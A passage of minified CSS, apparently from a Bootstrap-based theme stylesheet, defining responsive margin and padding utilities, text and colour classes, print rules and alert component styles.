mt-lg--9,.my-lg--9{margin-top:-10rem!important}.mr-lg--9,.mx-lg--9{margin-right:-10rem!important}.mb-lg--9,.my-lg--9{margin-bottom:-10rem!important}.ml-lg--9,.mx-lg--9{margin-left:-10rem!important}.m-lg--8{margin:-8rem!important}.mt-lg--8,.my-lg--8{margin-top:-8rem!important}.mr-lg--8,.mx-lg--8{margin-right:-8rem!important}.mb-lg--8,.my-lg--8{margin-bottom:-8rem!important}.ml-lg--8,.mx-lg--8{margin-left:-8rem!important}.m-lg--7{margin:-6rem!important}.mt-lg--7,.my-lg--7{margin-top:-6rem!important}.mr-lg--7,.mx-lg--7{margin-right:-6rem!important}.mb-lg--7,.my-lg--7{margin-bottom:-6rem!important}.ml-lg--7,.mx-lg--7{margin-left:-6rem!important}.m-lg--6{margin:-4.5rem!important}.mt-lg--6,.my-lg--6{margin-top:-4.5rem!important}.mr-lg--6,.mx-lg--6{margin-right:-4.5rem!important}.mb-lg--6,.my-lg--6{margin-bottom:-4.5rem!important}.ml-lg--6,.mx-lg--6{margin-left:-4.5rem!important}.m-lg--5{margin:-3rem!important}.mt-lg--5,.my-lg--5{margin-top:-3rem!important}.mr-lg--5,.mx-lg--5{margin-right:-3rem!important}.mb-lg--5,.my-lg--5{margin-bottom:-3rem!important}.ml-lg--5,.mx-lg--5{margin-left:-3rem!important}.m-lg--4{margin:-1.5rem!important}.mt-lg--4,.my-lg--4{margin-top:-1.5rem!important}.mr-lg--4,.mx-lg--4{margin-right:-1.5rem!important}.mb-lg--4,.my-lg--4{margin-bottom:-1.5rem!important}.ml-lg--4,.mx-lg--4{margin-left:-1.5rem!important}.m-lg--3{margin:-1rem!important}.mt-lg--3,.my-lg--3{margin-top:-1rem!important}.mr-lg--3,.mx-lg--3{margin-right:-1rem!important}.mb-lg--3,.my-lg--3{margin-bottom:-1rem!important}.ml-lg--3,.mx-lg--3{margin-left:-1rem!important}.m-lg--2{margin:-.5rem!important}.mt-lg--2,.my-lg--2{margin-top:-.5rem!important}.mr-lg--2,.mx-lg--2{margin-right:-.5rem!important}.mb-lg--2,.my-lg--2{margin-bottom:-.5rem!important}.ml-lg--2,.mx-lg--2{margin-left:-.5rem!important}.m-lg--1{margin:-.25rem!important}.mt-lg--1,.my-lg--1{margin-top:-.25rem!important}.mr-lg--1,.mx-lg--1{margin-right:-.25rem!important}.mb-lg--1,.my-lg--1{margin-bottom:-.25rem!important}.ml-lg--1,.mx-lg--1{margin-left:-.25rem!important}.m-lg-6{margin:4.5rem!important}.mt-lg-6,.my-lg-6{margin-top:4.5rem!important}.mr-lg-6,.mx-lg-6{margin-right:4.5rem!important}.mb-lg-6,.my-lg-6{margin-bottom:4.5rem!important}.ml-lg-6,.mx-lg-6{margin-left:4.5rem!important}.m-lg-7{margin:6rem!important}.mt-lg-7,.my-lg-7{margin-top:6rem!important}.mr-lg-7,.mx-lg-7{margin-right:6rem!important}.mb-lg-7,.my-lg-7{margin-bottom:6rem!important}.ml-lg-7,.mx-lg-7{margin-left:6rem!important}.m-lg-8{margin:8rem!important}.mt-lg-8,.my-lg-8{margin-top:8rem!important}.mr-lg-8,.mx-lg-8{margin-right:8rem!important}.mb-lg-8,.my-lg-8{margin-bottom:8rem!important}.ml-lg-8,.mx-lg-8{margin-left:8rem!important}.m-lg-9{margin:10rem!important}.mt-lg-9,.my-lg-9{margin-top:10rem!important}.mr-lg-9,.mx-lg-9{margin-right:10rem!important}.mb-lg-9,.my-lg-9{margin-bottom:10rem!important}.ml-lg-9,.mx-lg-9{margin-left:10rem!important}.p-lg-0{padding:0!important}.pt-lg-0,.py-lg-0{padding-top:0!important}.pr-lg-0,.px-lg-0{padding-right:0!important}.pb-lg-0,.py-lg-0{padding-bottom:0!important}.pl-lg-0,.px-lg-0{padding-left:0!important}.p-lg-1{padding:.25rem!important}.pt-lg-1,.py-lg-1{padding-top:.25rem!important}.pr-lg-1,.px-lg-1{padding-right:.25rem!important}.pb-lg-1,.py-lg-1{padding-bottom:.25rem!important}.pl-lg-1,.px-lg-1{padding-left:.25rem!important}.p-lg-2{padding:.5rem!important}.pt-lg-2,.py-lg-2{padding-top:.5rem!important}.pr-lg-2,.px-lg-2{padding-right:.5rem!important}.pb-lg-2,.py-lg-2{padding-bottom:.5rem!important}.pl-lg-2,.px-lg-2{padding-left:.5rem!important}.p-lg-3{padding:1rem!important}.pt-lg-3,.py-lg-3{padding-top:1rem!important}.pr-lg-3,.px-lg-3{padding-right:1rem!important}.pb-lg-3,.py-lg-3{padding-bottom:1rem!important}.pl-lg-3,.px-lg-3{padding-left:1rem!important}.p-lg-4{padding:1.5rem!important}.pt-lg-4,.py-lg-4{padding-top:1.5rem!important}.pr-lg-4,.px-lg-4{padding-right:1.5rem!important}.pb-lg-4,.py-lg-4{padding-bottom:1.5rem!important}.pl-lg-4,.px-lg-4{padding-left:1.5rem!important}.p-lg-5{padding:3rem!important}.pt-lg-5,.py-lg-5{padding-top:3rem!important}.pr-lg-5,.px-lg-5{padding-right:3rem!important}.pb-lg-5,.py-lg-5{padding-bottom:3rem!important}.pl-lg-5,.px-lg-5{padding-left:3rem!important}.p-lg-6{padding:4.5rem!important}.pt-lg-6,.py-lg-6{padding-top:4.5rem!important}.pr-lg-6,.px-lg-6{padding-right:4.5rem!important}.pb-lg-6,.py-lg-6{padding-bottom:4.5rem!important}.pl-lg-6,.px-lg-6{padding-left:4.5rem!important}.p-lg-7{padding:6rem!important}.pt-lg-7,.py-lg-7{padding-top:6rem!important}.pr-lg-7,.px-lg-7{padding-right:6rem!important}.pb-lg-7,.py-lg-7{padding-bottom:6rem!important}.pl-lg-7,.px-lg-7{padding-left:6rem!important}.p-lg-8{padding:8rem!important}.pt-lg-8,.py-lg-8{padding-top:8rem!important}.pr-lg-8,.px-lg-8{padding-right:8rem!important}.pb-lg-8,.py-lg-8{padding-bottom:8rem!important}.pl-lg-8,.px-lg-8{padding-left:8rem!important}.p-lg-9{padding:10rem!important}.pt-lg-9,.py-lg-9{padding-top:10rem!important}.pr-lg-9,.px-lg-9{padding-right:10rem!important}.pb-lg-9,.py-lg-9{padding-bottom:10rem!important}.pl-lg-9,.px-lg-9{padding-left:10rem!important}.m-lg-n1{margin:-.25rem!important}.mt-lg-n1,.my-lg-n1{margin-top:-.25rem!important}.mr-lg-n1,.mx-lg-n1{margin-right:-.25rem!important}.mb-lg-n1,.my-lg-n1{margin-bottom:-.25rem!important}.ml-lg-n1,.mx-lg-n1{margin-left:-.25rem!important}.m-lg-n2{margin:-.5rem!important}.mt-lg-n2,.my-lg-n2{margin-top:-.5rem!important}.mr-lg-n2,.mx-lg-n2{margin-right:-.5rem!important}.mb-lg-n2,.my-lg-n2{margin-bottom:-.5rem!important}.ml-lg-n2,.mx-lg-n2{margin-left:-.5rem!important}.m-lg-n3{margin:-1rem!important}.mt-lg-n3,.my-lg-n3{margin-top:-1rem!important}.mr-lg-n3,.mx-lg-n3{margin-right:-1rem!important}.mb-lg-n3,.my-lg-n3{margin-bottom:-1rem!important}.ml-lg-n3,.mx-lg-n3{margin-left:-1rem!important}.m-lg-n4{margin:-1.5rem!important}.mt-lg-n4,.my-lg-n4{margin-top:-1.5rem!important}.mr-lg-n4,.mx-lg-n4{margin-right:-1.5rem!important}.mb-lg-n4,.my-lg-n4{margin-bottom:-1.5rem!important}.ml-lg-n4,.mx-lg-n4{margin-left:-1.5rem!important}.m-lg-n5{margin:-3rem!important}.mt-lg-n5,.my-lg-n5{margin-top:-3rem!important}.mr-lg-n5,.mx-lg-n5{margin-right:-3rem!important}.mb-lg-n5,.my-lg-n5{margin-bottom:-3rem!important}.ml-lg-n5,.mx-lg-n5{margin-left:-3rem!important}.m-lg-n-9{margin:10rem!important}.mt-lg-n-9,.my-lg-n-9{margin-top:10rem!important}.mr-lg-n-9,.mx-lg-n-9{margin-right:10rem!important}.mb-lg-n-9,.my-lg-n-9{margin-bottom:10rem!important}.ml-lg-n-9,.mx-lg-n-9{margin-left:10rem!important}.m-lg-n-8{margin:8rem!important}.mt-lg-n-8,.my-lg-n-8{margin-top:8rem!important}.mr-lg-n-8,.mx-lg-n-8{margin-right:8rem!important}.mb-lg-n-8,.my-lg-n-8{margin-bottom:8rem!important}.ml-lg-n-8,.mx-lg-n-8{margin-left:8rem!important}.m-lg-n-7{margin:6rem!important}.mt-lg-n-7,.my-lg-n-7{margin-top:6rem!important}.mr-lg-n-7,.mx-lg-n-7{margin-right:6rem!important}.mb-lg-n-7,.my-lg-n-7{margin-bottom:6rem!important}.ml-lg-n-7,.mx-lg-n-7{margin-left:6rem!important}.m-lg-n-6{margin:4.5rem!important}.mt-lg-n-6,.my-lg-n-6{margin-top:4.5rem!important}.mr-lg-n-6,.mx-lg-n-6{margin-right:4.5rem!important}.mb-lg-n-6,.my-lg-n-6{margin-bottom:4.5rem!important}.ml-lg-n-6,.mx-lg-n-6{margin-left:4.5rem!important}.m-lg-n-5{margin:3rem!important}.mt-lg-n-5,.my-lg-n-5{margin-top:3rem!important}.mr-lg-n-5,.mx-lg-n-5{margin-right:3rem!important}.mb-lg-n-5,.my-lg-n-5{margin-bottom:3rem!important}.ml-lg-n-5,.mx-lg-n-5{margin-left:3rem!important}.m-lg-n-4{margin:1.5rem!important}.mt-lg-n-4,.my-lg-n-4{margin-top:1.5rem!important}.mr-lg-n-4,.mx-lg-n-4{margin-right:1.5rem!important}.mb-lg-n-4,.my-lg-n-4{margin-bottom:1.5rem!important}.ml-lg-n-4,.mx-lg-n-4{margin-left:1.5rem!important}.m-lg-n-3{margin:1rem!important}.mt-lg-n-3,.my-lg-n-3{margin-top:1rem!important}.mr-lg-n-3,.mx-lg-n-3{margin-right:1rem!important}.mb-lg-n-3,.my-lg-n-3{margin-bottom:1rem!important}.ml-lg-n-3,.mx-lg-n-3{margin-left:1rem!important}.m-lg-n-2{margin:.5rem!important}.mt-lg-n-2,.my-lg-n-2{margin-top:.5rem!important}.mr-lg-n-2,.mx-lg-n-2{margin-right:.5rem!important}.mb-lg-n-2,.my-lg-n-2{margin-bottom:.5rem!important}.ml-lg-n-2,.mx-lg-n-2{margin-left:.5rem!important}.m-lg-n-1{margin:.25rem!important}.mt-lg-n-1,.my-lg-n-1{margin-top:.25rem!important}.mr-lg-n-1,.mx-lg-n-1{margin-right:.25rem!important}.mb-lg-n-1,.my-lg-n-1{margin-bottom:.25rem!important}.ml-lg-n-1,.mx-lg-n-1{margin-left:.25rem!important}.m-lg-n6{margin:-4.5rem!important}.mt-lg-n6,.my-lg-n6{margin-top:-4.5rem!important}.mr-lg-n6,.mx-lg-n6{margin-right:-4.5rem!important}.mb-lg-n6,.my-lg-n6{margin-bottom:-4.5rem!important}.ml-lg-n6,.mx-lg-n6{margin-left:-4.5rem!important}.m-lg-n7{margin:-6rem!important}.mt-lg-n7,.my-lg-n7{margin-top:-6rem!important}.mr-lg-n7,.mx-lg-n7{margin-right:-6rem!important}.mb-lg-n7,.my-lg-n7{margin-bottom:-6rem!important}.ml-lg-n7,.mx-lg-n7{margin-left:-6rem!important}.m-lg-n8{margin:-8rem!important}.mt-lg-n8,.my-lg-n8{margin-top:-8rem!important}.mr-lg-n8,.mx-lg-n8{margin-right:-8rem!important}.mb-lg-n8,.my-lg-n8{margin-bottom:-8rem!important}.ml-lg-n8,.mx-lg-n8{margin-left:-8rem!important}.m-lg-n9{margin:-10rem!important}.mt-lg-n9,.my-lg-n9{margin-top:-10rem!important}.mr-lg-n9,.mx-lg-n9{margin-right:-10rem!important}.mb-lg-n9,.my-lg-n9{margin-bottom:-10rem!important}.ml-lg-n9,.mx-lg-n9{margin-left:-10rem!important}.m-lg-auto{margin:auto!important}.mt-lg-auto,.my-lg-auto{margin-top:auto!important}.mr-lg-auto,.mx-lg-auto{margin-right:auto!important}.mb-lg-auto,.my-lg-auto{margin-bottom:auto!important}.ml-lg-auto,.mx-lg-auto{margin-left:auto!important}}@media (min-width:1200px){.m-xl-0{margin:0!important}.mt-xl-0,.my-xl-0{margin-top:0!important}.mr-xl-0,.mx-xl-0{margin-right:0!important}.mb-xl-0,.my-xl-0{margin-bottom:0!important}.ml-xl-0,.mx-xl-0{margin-left:0!important}.m-xl-1{margin:.25rem!important}.mt-xl-1,.my-xl-1{margin-top:.25rem!important}.mr-xl-1,.mx-xl-1{margin-right:.25rem!important}.mb-xl-1,.my-xl-1{margin-bottom:.25rem!important}.ml-xl-1,.mx-xl-1{margin-left:.25rem!important}.m-xl-2{margin:.5rem!important}.mt-xl-2,.my-xl-2{margin-top:.5rem!important}.mr-xl-2,.mx-xl-2{margin-right:.5rem!important}.mb-xl-2,.my-xl-2{margin-bottom:.5rem!important}.ml-xl-2,.mx-xl-2{margin-left:.5rem!important}.m-xl-3{margin:1rem!important}.mt-xl-3,.my-xl-3{margin-top:1rem!important}.mr-xl-3,.mx-xl-3{margin-right:1rem!important}.mb-xl-3,.my-xl-3{margin-bottom:1rem!important}.ml-xl-3,.mx-xl-3{margin-left:1rem!important}.m-xl-4{margin:1.5rem!important}.mt-xl-4,.my-xl-4{margin-top:1.5rem!important}.mr-xl-4,.mx-xl-4{margin-right:1.5rem!important}.mb-xl-4,.my-xl-4{margin-bottom:1.5rem!important}.ml-xl-4,.mx-xl-4{margin-left:1.5rem!important}.m-xl-5{margin:3rem!important}.mt-xl-5,.my-xl-5{margin-top:3rem!important}.mr-xl-5,.mx-xl-5{margin-right:3rem!important}.mb-xl-5,.my-xl-5{margin-bottom:3rem!important}.ml-xl-5,.mx-xl-5{margin-left:3rem!important}.m-xl--9{margin:-10rem!important}.mt-xl--9,.my-xl--9{margin-top:-10rem!important}.mr-xl--9,.mx-xl--9{margin-right:-10rem!important}.mb-xl--9,.my-xl--9{margin-bottom:-10rem!important}.ml-xl--9,.mx-xl--9{margin-left:-10rem!important}.m-xl--8{margin:-8rem!important}.mt-xl--8,.my-xl--8{margin-top:-8rem!important}.mr-xl--8,.mx-xl--8{margin-right:-8rem!important}.mb-xl--8,.my-xl--8{margin-bottom:-8rem!important}.ml-xl--8,.mx-xl--8{margin-left:-8rem!important}.m-xl--7{margin:-6rem!important}.mt-xl--7,.my-xl--7{margin-top:-6rem!important}.mr-xl--7,.mx-xl--7{margin-right:-6rem!important}.mb-xl--7,.my-xl--7{margin-bottom:-6rem!important}.ml-xl--7,.mx-xl--7{margin-left:-6rem!important}.m-xl--6{margin:-4.5rem!important}.mt-xl--6,.my-xl--6{margin-top:-4.5rem!important}.mr-xl--6,.mx-xl--6{margin-right:-4.5rem!important}.mb-xl--6,.my-xl--6{margin-bottom:-4.5rem!important}.ml-xl--6,.mx-xl--6{margin-left:-4.5rem!important}.m-xl--5{margin:-3rem!important}.mt-xl--5,.my-xl--5{margin-top:-3rem!important}.mr-xl--5,.mx-xl--5{margin-right:-3rem!important}.mb-xl--5,.my-xl--5{margin-bottom:-3rem!important}.ml-xl--5,.mx-xl--5{margin-left:-3rem!important}.m-xl--4{margin:-1.5rem!important}.mt-xl--4,.my-xl--4{margin-top:-1.5rem!important}.mr-xl--4,.mx-xl--4{margin-right:-1.5rem!important}.mb-xl--4,.my-xl--4{margin-bottom:-1.5rem!important}.ml-xl--4,.mx-xl--4{margin-left:-1.5rem!important}.m-xl--3{margin:-1rem!important}.mt-xl--3,.my-xl--3{margin-top:-1rem!important}.mr-xl--3,.mx-xl--3{margin-right:-1rem!important}.mb-xl--3,.my-xl--3{margin-bottom:-1rem!important}.ml-xl--3,.mx-xl--3{margin-left:-1rem!important}.m-xl--2{margin:-.5rem!important}.mt-xl--2,.my-xl--2{margin-top:-.5rem!important}.mr-xl--2,.mx-xl--2{margin-right:-.5rem!important}.mb-xl--2,.my-xl--2{margin-bottom:-.5rem!important}.ml-xl--2,.mx-xl--2{margin-left:-.5rem!important}.m-xl--1{margin:-.25rem!important}.mt-xl--1,.my-xl--1{margin-top:-.25rem!important}.mr-xl--1,.mx-xl--1{margin-right:-.25rem!important}.mb-xl--1,.my-xl--1{margin-bottom:-.25rem!important}.ml-xl--1,.mx-xl--1{margin-left:-.25rem!important}.m-xl-6{margin:4.5rem!important}.mt-xl-6,.my-xl-6{margin-top:4.5rem!important}.mr-xl-6,.mx-xl-6{margin-right:4.5rem!important}.mb-xl-6,.my-xl-6{margin-bottom:4.5rem!important}.ml-xl-6,.mx-xl-6{margin-left:4.5rem!important}.m-xl-7{margin:6rem!important}.mt-xl-7,.my-xl-7{margin-top:6rem!important}.mr-xl-7,.mx-xl-7{margin-right:6rem!important}.mb-xl-7,.my-xl-7{margin-bottom:6rem!important}.ml-xl-7,.mx-xl-7{margin-left:6rem!important}.m-xl-8{margin:8rem!important}.mt-xl-8,.my-xl-8{margin-top:8rem!important}.mr-xl-8,.mx-xl-8{margin-right:8rem!important}.mb-xl-8,.my-xl-8{margin-bottom:8rem!important}.ml-xl-8,.mx-xl-8{margin-left:8rem!important}.m-xl-9{margin:10rem!important}.mt-xl-9,.my-xl-9{margin-top:10rem!important}.mr-xl-9,.mx-xl-9{margin-right:10rem!important}.mb-xl-9,.my-xl-9{margin-bottom:10rem!important}.ml-xl-9,.mx-xl-9{margin-left:10rem!important}.p-xl-0{padding:0!important}.pt-xl-0,.py-xl-0{padding-top:0!important}.pr-xl-0,.px-xl-0{padding-right:0!important}.pb-xl-0,.py-xl-0{padding-bottom:0!important}.pl-xl-0,.px-xl-0{padding-left:0!important}.p-xl-1{padding:.25rem!important}.pt-xl-1,.py-xl-1{padding-top:.25rem!important}.pr-xl-1,.px-xl-1{padding-right:.25rem!important}.pb-xl-1,.py-xl-1{padding-bottom:.25rem!important}.pl-xl-1,.px-xl-1{padding-left:.25rem!important}.p-xl-2{padding:.5rem!important}.pt-xl-2,.py-xl-2{padding-top:.5rem!important}.pr-xl-2,.px-xl-2{padding-right:.5rem!important}.pb-xl-2,.py-xl-2{padding-bottom:.5rem!important}.pl-xl-2,.px-xl-2{padding-left:.5rem!important}.p-xl-3{padding:1rem!important}.pt-xl-3,.py-xl-3{padding-top:1rem!important}.pr-xl-3,.px-xl-3{padding-right:1rem!important}.pb-xl-3,.py-xl-3{padding-bottom:1rem!important}.pl-xl-3,.px-xl-3{padding-left:1rem!important}.p-xl-4{padding:1.5rem!important}.pt-xl-4,.py-xl-4{padding-top:1.5rem!important}.pr-xl-4,.px-xl-4{padding-right:1.5rem!important}.pb-xl-4,.py-xl-4{padding-bottom:1.5rem!important}.pl-xl-4,.px-xl-4{padding-left:1.5rem!important}.p-xl-5{padding:3rem!important}.pt-xl-5,.py-xl-5{padding-top:3rem!important}.pr-xl-5,.px-xl-5{padding-right:3rem!important}.pb-xl-5,.py-xl-5{padding-bottom:3rem!important}.pl-xl-5,.px-xl-5{padding-left:3rem!important}.p-xl-6{padding:4.5rem!important}.pt-xl-6,.py-xl-6{padding-top:4.5rem!important}.pr-xl-6,.px-xl-6{padding-right:4.5rem!important}.pb-xl-6,.py-xl-6{padding-bottom:4.5rem!important}.pl-xl-6,.px-xl-6{padding-left:4.5rem!important}.p-xl-7{padding:6rem!important}.pt-xl-7,.py-xl-7{padding-top:6rem!important}.pr-xl-7,.px-xl-7{padding-right:6rem!important}.pb-xl-7,.py-xl-7{padding-bottom:6rem!important}.pl-xl-7,.px-xl-7{padding-left:6rem!important}.p-xl-8{padding:8rem!important}.pt-xl-8,.py-xl-8{padding-top:8rem!important}.pr-xl-8,.px-xl-8{padding-right:8rem!important}.pb-xl-8,.py-xl-8{padding-bottom:8rem!important}.pl-xl-8,.px-xl-8{padding-left:8rem!important}.p-xl-9{padding:10rem!important}.pt-xl-9,.py-xl-9{padding-top:10rem!important}.pr-xl-9,.px-xl-9{padding-right:10rem!important}.pb-xl-9,.py-xl-9{padding-bottom:10rem!important}.pl-xl-9,.px-xl-9{padding-left:10rem!important}.m-xl-n1{margin:-.25rem!important}.mt-xl-n1,.my-xl-n1{margin-top:-.25rem!important}.mr-xl-n1,.mx-xl-n1{margin-right:-.25rem!important}.mb-xl-n1,.my-xl-n1{margin-bottom:-.25rem!important}.ml-xl-n1,.mx-xl-n1{margin-left:-.25rem!important}.m-xl-n2{margin:-.5rem!important}.mt-xl-n2,.my-xl-n2{margin-top:-.5rem!important}.mr-xl-n2,.mx-xl-n2{margin-right:-.5rem!important}.mb-xl-n2,.my-xl-n2{margin-bottom:-.5rem!important}.ml-xl-n2,.mx-xl-n2{margin-left:-.5rem!important}.m-xl-n3{margin:-1rem!important}.mt-xl-n3,.my-xl-n3{margin-top:-1rem!important}.mr-xl-n3,.mx-xl-n3{margin-right:-1rem!important}.mb-xl-n3,.my-xl-n3{margin-bottom:-1rem!important}.ml-xl-n3,.mx-xl-n3{margin-left:-1rem!important}.m-xl-n4{margin:-1.5rem!important}.mt-xl-n4,.my-xl-n4{margin-top:-1.5rem!important}.mr-xl-n4,.mx-xl-n4{margin-right:-1.5rem!important}.mb-xl-n4,.my-xl-n4{margin-bottom:-1.5rem!important}.ml-xl-n4,.mx-xl-n4{margin-left:-1.5rem!important}.m-xl-n5{margin:-3rem!important}.mt-xl-n5,.my-xl-n5{margin-top:-3rem!important}.mr-xl-n5,.mx-xl-n5{margin-right:-3rem!important}.mb-xl-n5,.my-xl-n5{margin-bottom:-3rem!important}.ml-xl-n5,.mx-xl-n5{margin-left:-3rem!important}.m-xl-n-9{margin:10rem!important}.mt-xl-n-9,.my-xl-n-9{margin-top:10rem!important}.mr-xl-n-9,.mx-xl-n-9{margin-right:10rem!important}.mb-xl-n-9,.my-xl-n-9{margin-bottom:10rem!important}.ml-xl-n-9,.mx-xl-n-9{margin-left:10rem!important}.m-xl-n-8{margin:8rem!important}.mt-xl-n-8,.my-xl-n-8{margin-top:8rem!important}.mr-xl-n-8,.mx-xl-n-8{margin-right:8rem!important}.mb-xl-n-8,.my-xl-n-8{margin-bottom:8rem!important}.ml-xl-n-8,.mx-xl-n-8{margin-left:8rem!important}.m-xl-n-7{margin:6rem!important}.mt-xl-n-7,.my-xl-n-7{margin-top:6rem!important}.mr-xl-n-7,.mx-xl-n-7{margin-right:6rem!important}.mb-xl-n-7,.my-xl-n-7{margin-bottom:6rem!important}.ml-xl-n-7,.mx-xl-n-7{margin-left:6rem!important}.m-xl-n-6{margin:4.5rem!important}.mt-xl-n-6,.my-xl-n-6{margin-top:4.5rem!important}.mr-xl-n-6,.mx-xl-n-6{margin-right:4.5rem!important}.mb-xl-n-6,.my-xl-n-6{margin-bottom:4.5rem!important}.ml-xl-n-6,.mx-xl-n-6{margin-left:4.5rem!important}.m-xl-n-5{margin:3rem!important}.mt-xl-n-5,.my-xl-n-5{margin-top:3rem!important}.mr-xl-n-5,.mx-xl-n-5{margin-right:3rem!important}.mb-xl-n-5,.my-xl-n-5{margin-bottom:3rem!important}.ml-xl-n-5,.mx-xl-n-5{margin-left:3rem!important}.m-xl-n-4{margin:1.5rem!important}.mt-xl-n-4,.my-xl-n-4{margin-top:1.5rem!important}.mr-xl-n-4,.mx-xl-n-4{margin-right:1.5rem!important}.mb-xl-n-4,.my-xl-n-4{margin-bottom:1.5rem!important}.ml-xl-n-4,.mx-xl-n-4{margin-left:1.5rem!important}.m-xl-n-3{margin:1rem!important}.mt-xl-n-3,.my-xl-n-3{margin-top:1rem!important}.mr-xl-n-3,.mx-xl-n-3{margin-right:1rem!important}.mb-xl-n-3,.my-xl-n-3{margin-bottom:1rem!important}.ml-xl-n-3,.mx-xl-n-3{margin-left:1rem!important}.m-xl-n-2{margin:.5rem!important}.mt-xl-n-2,.my-xl-n-2{margin-top:.5rem!important}.mr-xl-n-2,.mx-xl-n-2{margin-right:.5rem!important}.mb-xl-n-2,.my-xl-n-2{margin-bottom:.5rem!important}.ml-xl-n-2,.mx-xl-n-2{margin-left:.5rem!important}.m-xl-n-1{margin:.25rem!important}.mt-xl-n-1,.my-xl-n-1{margin-top:.25rem!important}.mr-xl-n-1,.mx-xl-n-1{margin-right:.25rem!important}.mb-xl-n-1,.my-xl-n-1{margin-bottom:.25rem!important}.ml-xl-n-1,.mx-xl-n-1{margin-left:.25rem!important}.m-xl-n6{margin:-4.5rem!important}.mt-xl-n6,.my-xl-n6{margin-top:-4.5rem!important}.mr-xl-n6,.mx-xl-n6{margin-right:-4.5rem!important}.mb-xl-n6,.my-xl-n6{margin-bottom:-4.5rem!important}.ml-xl-n6,.mx-xl-n6{margin-left:-4.5rem!important}.m-xl-n7{margin:-6rem!important}.mt-xl-n7,.my-xl-n7{margin-top:-6rem!important}.mr-xl-n7,.mx-xl-n7{margin-right:-6rem!important}.mb-xl-n7,.my-xl-n7{margin-bottom:-6rem!important}.ml-xl-n7,.mx-xl-n7{margin-left:-6rem!important}.m-xl-n8{margin:-8rem!important}.mt-xl-n8,.my-xl-n8{margin-top:-8rem!important}.mr-xl-n8,.mx-xl-n8{margin-right:-8rem!important}.mb-xl-n8,.my-xl-n8{margin-bottom:-8rem!important}.ml-xl-n8,.mx-xl-n8{margin-left:-8rem!important}.m-xl-n9{margin:-10rem!important}.mt-xl-n9,.my-xl-n9{margin-top:-10rem!important}.mr-xl-n9,.mx-xl-n9{margin-right:-10rem!important}.mb-xl-n9,.my-xl-n9{margin-bottom:-10rem!important}.ml-xl-n9,.mx-xl-n9{margin-left:-10rem!important}.m-xl-auto{margin:auto!important}.mt-xl-auto,.my-xl-auto{margin-top:auto!important}.mr-xl-auto,.mx-xl-auto{margin-right:auto!important}.mb-xl-auto,.my-xl-auto{margin-bottom:auto!important}.ml-xl-auto,.mx-xl-auto{margin-left:auto!important}}.text-monospace{font-family:SFMono-Regular,Menlo,Monaco,Consolas,'Liberation Mono','Courier New',monospace!important}.text-justify{text-align:justify!important}.text-wrap{white-space:normal!important}.text-nowrap{white-space:nowrap!important}.text-truncate{overflow:hidden;white-space:nowrap;text-overflow:ellipsis}.text-left{text-align:left!important}.text-right{text-align:right!important}.text-center{text-align:center!important}@media (min-width:576px){.text-sm-left{text-align:left!important}.text-sm-right{text-align:right!important}.text-sm-center{text-align:center!important}}@media (min-width:768px){.text-md-left{text-align:left!important}.text-md-right{text-align:right!important}.text-md-center{text-align:center!important}}@media (min-width:992px){.text-lg-left{text-align:left!important}.text-lg-right{text-align:right!important}.text-lg-center{text-align:center!important}}@media (min-width:1200px){.text-xl-left{text-align:left!important}.text-xl-right{text-align:right!important}.text-xl-center{text-align:center!important}}.text-lowercase{text-transform:lowercase!important}.text-uppercase{text-transform:uppercase!important}.text-capitalize{text-transform:capitalize!important}.font-weight-light{font-weight:300!important}.font-weight-lighter{font-weight:lighter!important}.font-weight-normal{font-weight:400!important}.font-weight-bold{font-weight:600!important}.font-weight-bolder{font-weight:bolder!important}.font-italic{font-style:italic!important}.text-white{color:#fff!important}.text-primary{color:#5e72e4!important}a.text-primary:focus,a.text-primary:hover{color:#233dd2!important}.text-secondary{color:#f7fafc!important}a.text-secondary:focus,a.text-secondary:hover{color:#bfd7e7!important}.text-success{color:#2dce89!important}a.text-success:focus,a.text-success:hover{color:#1f8f5f!important}.text-info{color:#11cdef!important}a.text-info:focus,a.text-info:hover{color:#0b90a8!important}.text-warning{color:#fb6340!important}a.text-warning:focus,a.text-warning:hover{color:#ea3005!important}.text-danger{color:#f5365c!important}a.text-danger:focus,a.text-danger:hover{color:#d40b33!important}.text-light{color:#adb5bd!important}a.text-light:focus,a.text-light:hover{color:#838f9b!important}.text-dark{color:#212529!important}a.text-dark:focus,a.text-dark:hover{color:#000!important}.text-default{color:#172b4d!important}a.text-default:focus,a.text-default:hover{color:#050a12!important}.text-white{color:#fff!important}a.text-white:focus,a.text-white:hover{color:#d9d9d9!important}.text-neutral{color:#fff!important}a.text-neutral:focus,a.text-neutral:hover{color:#d9d9d9!important}.text-darker{color:#000!important}a.text-darker:focus,a.text-darker:hover{color:#000!important}.text-body{color:#525f7f!important}.text-muted{color:#8898aa!important}.text-black-50{color:rgba(0,0,0,.5)!important}.text-white-50{color:rgba(255,255,255,.5)!important}.text-hide{font:0/0 a;color:transparent;border:0;background-color:transparent;text-shadow:none}.text-decoration-none{text-decoration:none!important}.text-break{word-break:break-word!important;overflow-wrap:break-word!important}.text-reset{color:inherit!important}.visible{visibility:visible!important}.invisible{visibility:hidden!important}@media print{*,::after,::before{box-shadow:none!important;text-shadow:none!important}a:not(.btn){text-decoration:underline}abbr[title]::after{content:' (' attr(title) ')'}pre{white-space:pre-wrap!important}blockquote,pre{border:1px solid #adb5bd;page-break-inside:avoid}thead{display:table-header-group}img,tr{page-break-inside:avoid}h2,h3,p{orphans:3;widows:3}h2,h3{page-break-after:avoid}@page{size:a3}body{min-width:992px!important}.container{min-width:992px!important}.navbar{display:none}.badge{border:1px solid #000}.table{border-collapse:collapse!important}.table td,.table th{background-color:#fff!important}.table-bordered td,.table-bordered th{border:1px solid #dee2e6!important}.table-dark{color:inherit}.table-dark tbody+tbody,.table-dark td,.table-dark th,.table-dark thead th{border-color:#e9ecef}.table .thead-dark th{color:inherit;border-color:#e9ecef}}.alert{font-size:.875rem}.alert-heading{font-size:.9375rem;font-weight:600;margin-top:.15rem}.alert-icon{font-size:1.25rem;display:inline-block;margin-right:1.25rem;vertical-align:middle}.alert-icon i.ni{position:relative;top:2px}.alert-text{display:inline-block;vertical-align:middle}[class*=alert-] .alert-link{color:#fff;border-bottom:1px dotted rgba(255,255,255,.5)}.alert-dismissible .close{top:50%;right:1.5rem;padding:0;transform:translateY(-50%);opacity:1}@media (max-width:575.98px){.alert-dismissible .close{top:1rem;right:.5rem}}.alert-dismissible .close>span:not(.sr-only){font-size:1.5rem;color:rgba(255,255,255,.6);background-color:transparent}.alert-dismissible .close:focus>span:not(.sr-only),.alert-dismissible .close:hover>span:not(.sr-only){color:#fff;background-color:transparent}.alert-secondary 